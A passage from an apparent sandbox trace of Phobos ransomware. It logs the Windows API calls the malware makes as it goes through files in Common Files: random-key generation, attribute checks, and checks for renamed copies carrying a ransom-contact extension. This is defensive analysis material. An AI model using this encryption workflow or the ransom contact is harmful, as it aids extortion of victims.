files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.373] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.373] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=237) returned 1 [0148.373] CloseHandle (hObject=0x560) returned 1 [0148.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0148.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.374] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.377] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6406) returned 1 [0148.377] CloseHandle (hObject=0x560) returned 1 [0148.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0148.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.378] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.380] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=235) returned 1 [0148.380] CloseHandle (hObject=0x560) returned 1 [0148.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0148.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.380] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.381] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4222) returned 1 [0148.381] CloseHandle (hObject=0x560) returned 1 [0148.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0148.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.382] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.383] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=237) returned 1 [0148.383] CloseHandle (hObject=0x560) returned 1 [0148.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0148.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.383] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.384] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6381) returned 1 [0148.384] CloseHandle (hObject=0x560) returned 1 [0148.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0148.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.385] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.385] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=232) returned 1 [0148.386] CloseHandle (hObject=0x560) returned 1 [0148.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0148.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.386] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.387] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5115) returned 1 [0148.387] CloseHandle (hObject=0x560) returned 1 [0148.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0148.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.388] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.389] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=233) returned 1 [0148.390] CloseHandle (hObject=0x560) returned 1 [0148.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0148.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.390] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.394] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1920) returned 1 [0148.394] CloseHandle (hObject=0x560) returned 1 [0148.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0148.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.395] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.396] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=237) returned 1 [0148.396] CloseHandle (hObject=0x560) returned 1 [0148.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0148.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.397] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.398] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4734) returned 1 [0148.398] CloseHandle (hObject=0x560) returned 1 [0148.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0148.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.400] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.401] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=232) returned 1 [0148.401] CloseHandle (hObject=0x560) returned 1 [0148.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0148.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.401] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.403] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10569) returned 1 [0148.403] CloseHandle (hObject=0x560) returned 1 [0148.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0148.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.403] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.404] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=230) returned 1 [0148.405] CloseHandle (hObject=0x560) returned 1 [0148.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0148.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.405] ResetEvent (hEvent=0x50c) returned 1 [0148.405] SetEvent (hEvent=0x510) returned 1 [0148.405] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0148.406] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7505) returned 1 [0148.406] CloseHandle (hObject=0x560) returned 1 [0148.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0148.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.415] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0148.559] ResetEvent (hEvent=0x50c) returned 1 [0148.560] SetEvent (hEvent=0x510) returned 1 [0148.560] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0148.561] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2702) returned 1 [0148.561] CloseHandle (hObject=0x55c) returned 1 [0148.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0148.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.561] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0148.582] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 